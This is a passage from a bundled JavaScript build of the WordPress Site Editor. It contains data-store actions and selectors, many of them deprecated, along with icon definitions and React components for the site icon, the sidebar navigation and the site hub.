function setPage() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setPage", {
since: '6.5',
version: '6.8',
hint: 'The setPage is not needed anymore, the correct entity is resolved from the URL automatically.'
});
return {
type: 'NOTHING'
};
}
/**
* Action that sets the active navigation panel menu.
*
* @deprecated
*
* @return {Object} Action object.
*/
function setNavigationPanelActiveMenu() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setNavigationPanelActiveMenu", {
since: '6.2',
version: '6.4'
});
return {
type: 'NOTHING'
};
}
/**
* Opens the navigation panel and sets its active menu at the same time.
*
* @deprecated
*/
function openNavigationPanelToMenu() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).openNavigationPanelToMenu", {
since: '6.2',
version: '6.4'
});
return {
type: 'NOTHING'
};
}
/**
* Sets whether the navigation panel should be open.
*
* @deprecated
*/
function setIsNavigationPanelOpened() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsNavigationPanelOpened", {
since: '6.2',
version: '6.4'
});
return {
type: 'NOTHING'
};
}
/**
* Returns an action object used to open/close the inserter.
*
* @deprecated
*
* @param {boolean|Object} value Whether the inserter should be opened (true) or closed (false).
*/
const setIsInserterOpened = value => ({
registry
}) => {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsInserterOpened", {
since: '6.5',
alternative: "dispatch( 'core/editor').setIsInserterOpened"
});
registry.dispatch(external_wp_editor_namespaceObject.store).setIsInserterOpened(value);
};
/**
* Returns an action object used to open/close the list view.
*
* @deprecated
*
* @param {boolean} isOpen A boolean representing whether the list view should be opened or closed.
*/
const setIsListViewOpened = isOpen => ({
registry
}) => {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).setIsListViewOpened", {
since: '6.5',
alternative: "dispatch( 'core/editor').setIsListViewOpened"
});
registry.dispatch(external_wp_editor_namespaceObject.store).setIsListViewOpened(isOpen);
};
/**
* Returns an action object used to update the settings.
*
* @param {Object} settings New settings.
*
* @return {Object} Action object.
*/
function updateSettings(settings) {
return {
type: 'UPDATE_SETTINGS',
settings
};
}
/**
* Sets whether the save view panel should be open.
*
* @param {boolean} isOpen If true, opens the save view. If false, closes it.
* It does not toggle the state, but sets it directly.
*/
function setIsSaveViewOpened(isOpen) {
return {
type: 'SET_IS_SAVE_VIEW_OPENED',
isOpen
};
}
/**
* Reverts a template to its original theme-provided file.
*
* @param {Object} template The template to revert.
* @param {Object} [options]
* @param {boolean} [options.allowUndo] Whether to allow the user to undo
* reverting the template. Default true.
*/
const revertTemplate = (template, options) => ({
registry
}) => {
return unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).revertTemplate(template, options);
};
/**
* Action that opens an editor sidebar.
*
* @param {?string} name Sidebar name to be opened.
*/
const openGeneralSidebar = name => ({
registry
}) => {
registry.dispatch(interfaceStore).enableComplementaryArea('core', name);
};
/**
* Action that closes the sidebar.
*/
const closeGeneralSidebar = () => ({
registry
}) => {
registry.dispatch(interfaceStore).disableComplementaryArea('core');
};
/**
* Triggers an action used to switch editor mode.
*
* @deprecated
*
* @param {string} mode The editor mode.
*/
const switchEditorMode = mode => ({
registry
}) => {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).switchEditorMode", {
since: '6.6',
alternative: "dispatch( 'core/editor').switchEditorMode"
});
registry.dispatch(external_wp_editor_namespaceObject.store).switchEditorMode(mode);
};
/**
* Sets whether or not the editor allows only page content to be edited.
*
* @param {boolean} hasPageContentFocus True to allow only page content to be
* edited, false to allow template to be
* edited.
*/
const setHasPageContentFocus = hasPageContentFocus => ({
dispatch,
registry
}) => {
external_wp_deprecated_default()(`dispatch( 'core/edit-site' ).setHasPageContentFocus`, {
since: '6.5'
});
if (hasPageContentFocus) {
registry.dispatch(external_wp_blockEditor_namespaceObject.store).clearSelectedBlock();
}
dispatch({
type: 'SET_HAS_PAGE_CONTENT_FOCUS',
hasPageContentFocus
});
};
/**
* Action that toggles Distraction free mode.
* Distraction free mode expects there are no sidebars, as due to the
* z-index values set, you can't close sidebars.
*
* @deprecated
*/
const toggleDistractionFree = () => ({
registry
}) => {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).toggleDistractionFree", {
since: '6.6',
alternative: "dispatch( 'core/editor').toggleDistractionFree"
});
registry.dispatch(external_wp_editor_namespaceObject.store).toggleDistractionFree();
};
;// ./node_modules/@wordpress/edit-site/build-module/store/private-actions.js
/**
* Action that switches the editor canvas container view.
*
* @param {?string} view Editor canvas container view.
*/
const setEditorCanvasContainerView = view => ({
dispatch
}) => {
dispatch({
type: 'SET_EDITOR_CANVAS_CONTAINER_VIEW',
view
});
};
function registerRoute(route) {
return {
type: 'REGISTER_ROUTE',
route
};
}
function unregisterRoute(name) {
return {
type: 'UNREGISTER_ROUTE',
name
};
}
;// ./node_modules/@wordpress/edit-site/build-module/utils/get-filtered-template-parts.js
/**
* WordPress dependencies
*/
const EMPTY_ARRAY = [];
/**
* Get a flattened and filtered list of template parts and the matching block for that template part.
*
* Takes a list of blocks defined within a template, and a list of template parts, and returns a
* flattened list of template parts and the matching block for that template part.
*
* @param {Array} blocks Blocks to flatten.
* @param {?Array} templateParts Available template parts.
* @return {Array} An array of template parts and their blocks.
*/
function getFilteredTemplatePartBlocks(blocks = EMPTY_ARRAY, templateParts) {
const templatePartsById = templateParts ?
// Key template parts by their ID.
templateParts.reduce((newTemplateParts, part) => ({
...newTemplateParts,
[part.id]: part
}), {}) : {};
const result = [];
// Iterate over all blocks, recursing into inner blocks.
// Output will be based on a depth-first traversal.
const stack = [...blocks];
while (stack.length) {
const {
innerBlocks,
...block
} = stack.shift();
// Place inner blocks at the beginning of the stack to preserve order.
stack.unshift(...innerBlocks);
if ((0,external_wp_blocks_namespaceObject.isTemplatePart)(block)) {
const {
attributes: {
theme,
slug
}
} = block;
const templatePartId = `${theme}//${slug}`;
const templatePart = templatePartsById[templatePartId];
// Only add to output if the found template part block is in the list of available template parts.
if (templatePart) {
result.push({
templatePart,
block
});
}
}
}
return result;
}
;// ./node_modules/@wordpress/edit-site/build-module/store/selectors.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
/**
* @typedef {'template'|'template_type'} TemplateType Template type.
*/
/**
* Returns whether the given feature is enabled or not.
*
* @deprecated
* @param {Object} state Global application state.
* @param {string} featureName Feature slug.
*
* @return {boolean} Is active.
*/
const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (_, featureName) => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).isFeatureActive`, {
since: '6.0',
alternative: `select( 'core/preferences' ).get`
});
return !!select(external_wp_preferences_namespaceObject.store).get('core/edit-site', featureName);
});
/**
* Returns the current editing canvas device type.
*
* @deprecated
*
* @param {Object} state Global application state.
*
* @return {string} Device type.
*/
const __experimentalGetPreviewDeviceType = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).__experimentalGetPreviewDeviceType`, {
since: '6.5',
version: '6.7',
alternative: `select( 'core/editor' ).getDeviceType`
});
return select(external_wp_editor_namespaceObject.store).getDeviceType();
});
/**
* Returns whether the current user can create media or not.
*
* @param {Object} state Global application state.
*
* @return {Object} Whether the current user can create media or not.
*/
const getCanUserCreateMedia = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
external_wp_deprecated_default()(`wp.data.select( 'core/edit-site' ).getCanUserCreateMedia()`, {
since: '6.7',
alternative: `wp.data.select( 'core' ).canUser( 'create', { kind: 'root', type: 'media' } )`
});
return select(external_wp_coreData_namespaceObject.store).canUser('create', 'media');
});
/**
* Returns any available Reusable blocks.
*
* @param {Object} state Global application state.
*
* @return {Array} The available reusable blocks.
*/
const getReusableBlocks = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).getReusableBlocks()`, {
since: '6.5',
version: '6.8',
alternative: `select( 'core/core' ).getEntityRecords( 'postType', 'wp_block' )`
});
const isWeb = external_wp_element_namespaceObject.Platform.OS === 'web';
return isWeb ? select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', 'wp_block', {
per_page: -1
}) : [];
});
/**
* Returns the site editor settings.
*
* @param {Object} state Global application state.
*
* @return {Object} Settings.
*/
function getSettings(state) {
// It is important that we don't inject anything into these settings locally.
// The reason for this is that we have an effect in place that calls setSettings based on the previous value of getSettings.
// If we add computed settings here, we'll be adding these computed settings to the state which is very unexpected.
return state.settings;
}
/**
* @deprecated
*/
function getHomeTemplateId() {
external_wp_deprecated_default()("select( 'core/edit-site' ).getHomeTemplateId", {
since: '6.2',
version: '6.4'
});
}
/**
* Returns the current edited post type (wp_template or wp_template_part).
*
* @deprecated
* @param {Object} state Global application state.
*
* @return {?TemplateType} Template type.
*/
function getEditedPostType(state) {
external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostType", {
since: '6.8',
alternative: "select( 'core/editor' ).getCurrentPostType"
});
return state.editedPost.postType;
}
/**
* Returns the ID of the currently edited template or template part.
*
* @deprecated
* @param {Object} state Global application state.
*
* @return {?string} Post ID.
*/
function getEditedPostId(state) {
external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostId", {
since: '6.8',
alternative: "select( 'core/editor' ).getCurrentPostId"
});
return state.editedPost.id;
}
/**
* Returns the edited post's context object.
*
* @deprecated
* @param {Object} state Global application state.
*
* @return {Object} Page.
*/
function getEditedPostContext(state) {
external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostContext", {
since: '6.8'
});
return state.editedPost.context;
}
/**
* Returns the current page object.
*
* @deprecated
* @param {Object} state Global application state.
*
* @return {Object} Page.
*/
function getPage(state) {
external_wp_deprecated_default()("select( 'core/edit-site' ).getPage", {
since: '6.8'
});
return {
context: state.editedPost.context
};
}
/**
* Returns true if the inserter is opened.
*
* @deprecated
*
* @param {Object} state Global application state.
*
* @return {boolean} Whether the inserter is opened.
*/
const isInserterOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).isInserterOpened`, {
since: '6.5',
alternative: `select( 'core/editor' ).isInserterOpened`
});
return select(external_wp_editor_namespaceObject.store).isInserterOpened();
});
/**
* Get the insertion point for the inserter.
*
* @deprecated
*
* @param {Object} state Global application state.
*
* @return {Object} The root client ID, index to insert at and starting filter value.
*/
const __experimentalGetInsertionPoint = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).__experimentalGetInsertionPoint`, {
since: '6.5',
version: '6.7'
});
return unlock(select(external_wp_editor_namespaceObject.store)).getInserter();
});
/**
* Returns true if the list view is opened.
*
* @param {Object} state Global application state.
*
* @return {boolean} Whether the list view is opened.
*/
const isListViewOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).isListViewOpened`, {
since: '6.5',
alternative: `select( 'core/editor' ).isListViewOpened`
});
return select(external_wp_editor_namespaceObject.store).isListViewOpened();
});
/**
* Returns the current opened/closed state of the save panel.
*
* @param {Object} state Global application state.
*
* @return {boolean} True if the save panel should be open; false if closed.
*/
function isSaveViewOpened(state) {
return state.saveViewPanel;
}
function getBlocksAndTemplateParts(select) {
const templateParts = select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', TEMPLATE_PART_POST_TYPE, {
per_page: -1
});
const {
getBlocksByName,
getBlocksByClientId
} = select(external_wp_blockEditor_namespaceObject.store);
const clientIds = getBlocksByName('core/template-part');
const blocks = getBlocksByClientId(clientIds);
return [blocks, templateParts];
}
/**
* Returns the template parts and their blocks for the current edited template.
*
* @deprecated
* @param {Object} state Global application state.
* @return {Array} Template parts and their blocks in an array.
*/
const getCurrentTemplateTemplateParts = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (0,external_wp_data_namespaceObject.createSelector)(() => {
external_wp_deprecated_default()(`select( 'core/edit-site' ).getCurrentTemplateTemplateParts()`, {
since: '6.7',
version: '6.9',
alternative: `select( 'core/block-editor' ).getBlocksByName( 'core/template-part' )`
});
return getFilteredTemplatePartBlocks(...getBlocksAndTemplateParts(select));
}, () => getBlocksAndTemplateParts(select)));
/**
* Returns the current editing mode.
*
* @param {Object} state Global application state.
*
* @return {string} Editing mode.
*/
const getEditorMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
return select(external_wp_preferences_namespaceObject.store).get('core', 'editorMode');
});
/**
* @deprecated
*/
function getCurrentTemplateNavigationPanelSubMenu() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).getCurrentTemplateNavigationPanelSubMenu", {
since: '6.2',
version: '6.4'
});
}
/**
* @deprecated
*/
function getNavigationPanelActiveMenu() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).getNavigationPanelActiveMenu", {
since: '6.2',
version: '6.4'
});
}
/**
* @deprecated
*/
function isNavigationOpened() {
external_wp_deprecated_default()("dispatch( 'core/edit-site' ).isNavigationOpened", {
since: '6.2',
version: '6.4'
});
}
/**
* Whether or not the editor has a page loaded into it.
*
* @see setPage
* @deprecated
* @param {Object} state Global application state.
*
* @return {boolean} Whether or not the editor has a page loaded into it.
*/
function isPage(state) {
external_wp_deprecated_default()("select( 'core/edit-site' ).isPage", {
since: '6.8',
alternative: "select( 'core/editor' ).getCurrentPostType"
});
return !!state.editedPost.context?.postId;
}
/**
* Whether or not the editor allows only page content to be edited.
*
* @deprecated
*
* @return {boolean} Whether or not focus is on editing page content.
*/
function hasPageContentFocus() {
external_wp_deprecated_default()(`select( 'core/edit-site' ).hasPageContentFocus`, {
since: '6.5'
});
return false;
}
;// ./node_modules/@wordpress/edit-site/build-module/store/private-selectors.js
/**
* Returns the editor canvas container view.
*
* @param {Object} state Global application state.
*
* @return {string} Editor canvas container view.
*/
function getEditorCanvasContainerView(state) {
return state.editorCanvasContainerView;
}
function getRoutes(state) {
return state.routes;
}
;// ./node_modules/@wordpress/edit-site/build-module/store/constants.js
/**
* The identifier for the data store.
*
* @type {string}
*/
const STORE_NAME = 'core/edit-site';
;// ./node_modules/@wordpress/edit-site/build-module/store/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const storeConfig = {
reducer: reducer,
actions: actions_namespaceObject,
selectors: selectors_namespaceObject
};
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig);
(0,external_wp_data_namespaceObject.register)(store);
unlock(store).registerPrivateSelectors(private_selectors_namespaceObject);
unlock(store).registerPrivateActions(private_actions_namespaceObject);
;// external ["wp","router"]
const external_wp_router_namespaceObject = window["wp"]["router"];
;// ./node_modules/clsx/dist/clsx.mjs
function clsx_r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=clsx_r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=clsx_r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// external ["wp","commands"]
const external_wp_commands_namespaceObject = window["wp"]["commands"];
;// external ["wp","coreCommands"]
const external_wp_coreCommands_namespaceObject = window["wp"]["coreCommands"];
;// external ["wp","plugins"]
const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
;// external ["wp","htmlEntities"]
const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// ./node_modules/@wordpress/icons/build-module/library/search.js
/**
* WordPress dependencies
*/
const search = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"
})
});
/* harmony default export */ const library_search = (search);
;// external ["wp","keycodes"]
const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
/**
* WordPress dependencies
*/
const wordpress = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "-2 -2 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"
})
});
/* harmony default export */ const library_wordpress = (wordpress);
;// ./node_modules/@wordpress/edit-site/build-module/components/site-icon/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function SiteIcon({
className
}) {
const {
isRequestingSite,
siteIconUrl
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
const siteData = getEntityRecord('root', '__unstableBase', undefined);
return {
isRequestingSite: !siteData,
siteIconUrl: siteData?.site_icon_url
};
}, []);
if (isRequestingSite && !siteIconUrl) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-site-icon__image"
});
}
const icon = siteIconUrl ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
className: "edit-site-site-icon__image",
alt: (0,external_wp_i18n_namespaceObject.__)('Site Icon'),
src: siteIconUrl
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
className: "edit-site-site-icon__icon",
icon: library_wordpress,
size: 48
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx(className, 'edit-site-site-icon'),
children: icon
});
}
/* harmony default export */ const site_icon = (SiteIcon);
;// external ["wp","dom"]
const external_wp_dom_namespaceObject = window["wp"]["dom"];
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
const SidebarNavigationContext = (0,external_wp_element_namespaceObject.createContext)(() => {});
// Focus a sidebar element after a navigation. The element to focus is either
// specified by `focusSelector` (when navigating back) or it is the first
// tabbable element (usually the "Back" button).
function focusSidebarElement(el, direction, focusSelector) {
let elementToFocus;
if (direction === 'back' && focusSelector) {
elementToFocus = el.querySelector(focusSelector);
}
if (direction !== null && !elementToFocus) {
const [firstTabbable] = external_wp_dom_namespaceObject.focus.tabbable.find(el);
elementToFocus = firstTabbable !== null && firstTabbable !== void 0 ? firstTabbable : el;
}
elementToFocus?.focus();
}
// Navigation state that is updated when navigating back or forward. Helps us
// manage the animations and also focus.
function createNavState() {
let state = {
direction: null,
focusSelector: null
};
return {
get() {
return state;
},
navigate(direction, focusSelector = null) {
state = {
direction,
focusSelector: direction === 'forward' && focusSelector ? focusSelector : state.focusSelector
};
}
};
}
function SidebarContentWrapper({
children,
shouldAnimate
}) {
const navState = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
const wrapperRef = (0,external_wp_element_namespaceObject.useRef)();
const [navAnimation, setNavAnimation] = (0,external_wp_element_namespaceObject.useState)(null);
(0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
const {
direction,
focusSelector
} = navState.get();
focusSidebarElement(wrapperRef.current, direction, focusSelector);
setNavAnimation(direction);
}, [navState]);
const wrapperCls = dist_clsx('edit-site-sidebar__screen-wrapper',
/*
* Some panes do not have sub-panes and therefore
* should not animate when clicked on.
*/
shouldAnimate ? {
'slide-from-left': navAnimation === 'back',
'slide-from-right': navAnimation === 'forward'
} : {});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
ref: wrapperRef,
className: wrapperCls,
children: children
});
}
function SidebarNavigationProvider({
children
}) {
const [navState] = (0,external_wp_element_namespaceObject.useState)(createNavState);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationContext.Provider, {
value: navState,
children: children
});
}
function SidebarContent({
routeKey,
shouldAnimate,
children
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar__content",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContentWrapper, {
shouldAnimate: shouldAnimate,
children: children
}, routeKey)
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/site-hub/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation,
useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const SiteHub = (0,external_wp_element_namespaceObject.memo)((0,external_wp_element_namespaceObject.forwardRef)(({
isTransparent
}, ref) => {
const {
dashboardLink,
homeUrl,
siteTitle
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSettings
} = unlock(select(store));
const {
getEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
const _site = getEntityRecord('root', 'site');
return {
dashboardLink: getSettings().__experimentalDashboardLink,
homeUrl: getEntityRecord('root', '__unstableBase')?.home,
siteTitle: !_site?.title && !!_site?.url ? (0,external_wp_url_namespaceObject.filterURLForDisplay)(_site?.url) : _site?.title
};
}, []);
const {
open: openCommandCenter
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_commands_namespaceObject.store);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-site-hub",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
spacing: "0",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-site-hub__view-mode-toggle-container', {
'has-transparent-background': isTransparent
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
ref: ref,
href: dashboardLink,
label: (0,external_wp_i18n_namespaceObject.__)('Go to the Dashboard'),
className: "edit-site-layout__view-mode-toggle",
style: {
transform: 'scale(0.5333) translateX(-4px)',
// Offset to position the icon 12px from viewport edge
borderRadius: 4
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon, {
className: "edit-site-layout__view-mode-toggle-icon"
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-site-hub__title",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "link",
href: homeUrl,
target: "_blank",
children: [(0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
as: "span",
children: /* translators: accessibility text */
(0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)')
})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 0,
expanded: false,
className: "edit-site-site-hub__actions",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
className: "edit-site-site-hub_toggle-command-center",
icon: library_search,
onClick: () => openCommandCenter(),
label: (0,external_wp_i18n_namespaceObject.__)('Open command palette'),
shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('k')
})
})]
})]
})
});
}));
/* harmony default export */ const site_hub = (SiteHub);
const SiteHubMobile = (0,external_wp_element_namespaceObject.memo)((0,external_wp_element_namespaceObject.forwardRef)(({
isTransparent
}, ref) => {
const {
path
} = useLocation();
const history = useHistory();
const {
navigate
} = (0,external_wp_element_namespaceObject.useContext)(SidebarNavigationContext);
const {
dashboardLink,
homeUrl,
siteTitle,
isBlockTheme,
isClassicThemeWithStyleBookSupport
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSettings
} = unlock(select(store));
const {
getEntityRecord,
getCurrentTheme
} = select(external_wp_coreData_namespaceObject.store);
const _site = getEntityRecord('root', 'site');
const currentTheme = getCurrentTheme();
const settings = getSettings();
const supportsEditorStyles = currentTheme.theme_supports['editor-styles'];
// This is a temp solution until the has_theme_json value is available for the current theme.
const hasThemeJson = settings.supportsLayout;
return {
dashboardLink: settings.__experimentalDashboardLink,
homeUrl: getEntityRecord('root', '__unstableBase')?.home,
siteTitle: !_site?.title && !!_site?.url ? (0,external_wp_url_namespaceObject.filterURLForDisplay)(_site?.url) : _site?.title,
isBlockTheme: currentTheme?.is_block_theme,
isClassicThemeWithStyleBookSupport: !currentTheme?.is_block_theme && (supportsEditorStyles || hasThemeJson)
};
}, []);
const {
open: openCommandCenter
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_commands_namespaceObject.store);
let backPath;
// If the current path is not the root page, find a page to back to.
if (path !== '/') {
if (isBlockTheme || isClassicThemeWithStyleBookSupport) {
// If the current theme is a block theme or a classic theme that supports StyleBook,
// back to the Design screen.
backPath = '/';
} else if (path !== '/pattern') {
// If the current theme is a classic theme that does not support StyleBook,
// back to the Patterns page.
backPath = '/pattern';
}
}
const backButtonProps = {
href: !!backPath ? undefined : dashboardLink,
label: !!backPath ? (0,external_wp_i18n_namespaceObject.__)('Go to Site Editor') : (0,external_wp_i18n_namespaceObject.__)('Go to the Dashboard'),
onClick: !!backPath ? () => {
history.navigate(backPath);
navigate('back');
} : undefined
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-site-hub",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
spacing: "0",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('edit-site-site-hub__view-mode-toggle-container', {
'has-transparent-background': isTransparent
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
ref: ref,
className: "edit-site-layout__view-mode-toggle",
style: {
transform: 'scale(0.5)',
borderRadius: 4
},
...backButtonProps,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon, {
className: "edit-site-layout__view-mode-toggle-icon"
})
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-site-hub__title",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "link",
href: homeUrl,
target: "_blank",
label: (0,external_wp_i18n_namespaceObject.__)('View site (opens in a new tab)'),
children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle)
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 0,
expanded: false,
className: "edit-site-site-hub__actions",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
className: "edit-site-site-hub_toggle-command-center",
icon: library_search,
onClick: () => openCommandCenter(),
label: (0,external_wp_i18n_namespaceObject.__)('Open command palette'),
shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('k')
})
})]
})]
})
});
}));
;// ./node_modules/@wordpress/edit-site/build-module/components/resizable-frame/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
